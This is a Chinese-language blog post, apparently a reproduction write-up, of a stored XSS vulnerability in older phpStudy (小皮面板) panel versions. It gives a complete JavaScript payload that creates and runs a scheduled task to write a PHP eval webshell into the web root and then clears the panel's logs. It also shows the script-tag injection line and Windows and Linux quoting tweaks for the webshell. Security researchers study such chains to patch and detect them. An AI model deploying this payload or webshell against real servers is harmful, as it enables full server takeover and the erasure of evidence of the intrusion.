- 适用版本
V1.02版本以下(新版已修补该漏洞)
- 复现
现在官网上的小皮面板,已经修复了该漏洞,所以已经无法用官网的版本来复现漏洞。(据我目前不成熟的测试感觉,它在用户名的输入上限制了字符数,所以所以我们的js代码无法写入)
小皮面板下载好后,会弹出这个文件,进入红框框住的网址,进行登录


先写个js弹窗代码试试它有没有xss漏洞,密码可以随便输入,但验证码必须输入正确,不然不会把用户名记录进去

这样就算是输入成功了,如果不放心,可以再输一次。
Ok,这下就用管理员账号正常登录

成功出现弹窗,说明存在xss漏洞。这时我们看看操作日志。

这就是我们当时登录时,所留下的记录,本来可以通过这个日志,知道有谁尝试登录过我们的小皮面板,但我们输入的js代码,会被它解析并运行,这就导致了xss漏洞。
然后我们可以利用这个xss漏洞向里面传入脚本,脚本代码为其中红字部分是要视情况而变的,具体怎么变后面再说。
function poc(){ $.get('/service/app/tasks.php?type=task_list',{},function(data){ var id=data.data[0].ID; $.post('/service/app/tasks.php?type=exec_task',{ tid:id },function(res2){ $.post('/service/app/log.php?type=clearlog',{ },function(res3){},"json"); },"json"); },"json");}function save(){ var data=new Object(); data.task_id=""; data.title="test"; data.exec_cycle="1"; data.week="1"; data.day="3"; data.hour="14"; data.minute="20";data.shell='echo^<?php@eval($_POST[123]);?^> >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php'; $.post('/service/app/tasks.php?type=save_shell',data,function(res){ poc(); },'json');}save();
Ok,js代码我们也准备好了,那么要如何把他们传进去并执行它们呢?
首先我们要开启自己的网络端口,网上找的方法是用python开启某一端口,然后再把文件传过去。但也有简单的方法,我们可以用它们的软件——phpstudy

我们可以直接用它,只要把js文件放到相应目录下就行。之后在用户名栏输入
<script src=http://localhost/poc.js></script>
输入完后我们可以登录admin进去看看,这时我们能在计划任务栏看见我们传进去的脚本

这时基本上只要管理员用户登录成功后,这个脚本就应该会执行了。
之后我们只要用蚁剑连接就行了
到这里我们的复现就算完成了
但这时就要讲讲那两处要变化的地方了,虽然现在漏洞已经被修复了,但那两处还是能学到一些东西
Windows版小皮面板
'echo ^<?php @eval($_POST[“shell”]);?^> >D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php'
我们需要使用^作为转移字符这样他才能把>识别为一个字符而不是命令,后面的就是你放小皮面板的文件位置,其实按我在网上找的它在一句木马这里用的是双引号闭合”<?php @eval($_POST[12]); ?>”但之后我发现windows系统会把双引号同时写入文件中,但这是文件就成了一个字符串了,就无法让我们进行后面的事了。
linux版小皮面板
Linux也有不少规则,我们如果就按这种写法就会出现报错,不过我们却可以用双引号闭合,它只会把双引号所包含的数据写进文件中。但如果改成这样你很有可能会发现写入文件中的数据会没有$_POST这几个字符,因为$是Linux系统的变量符号,所以$_POST里的变量名要用双引号闭合,如果用单引号那$_POST就不会被写入文件中。但话是这么说,你也会发现如果这这么做这段起码要有三个不同闭合符,我没学过js所以不知道有没有””” ”””这种方式,不过这也没关系,因为我们知道其实$_POST[]里面也有不用引号闭合的方式,那就是输入数字,变成$_POST[123],ok这下就修改完成了,后面在改改文件所在位置就行了,别文件传进去了,却访问不到木马文件。
5667

被折叠的 条评论
为什么被折叠?



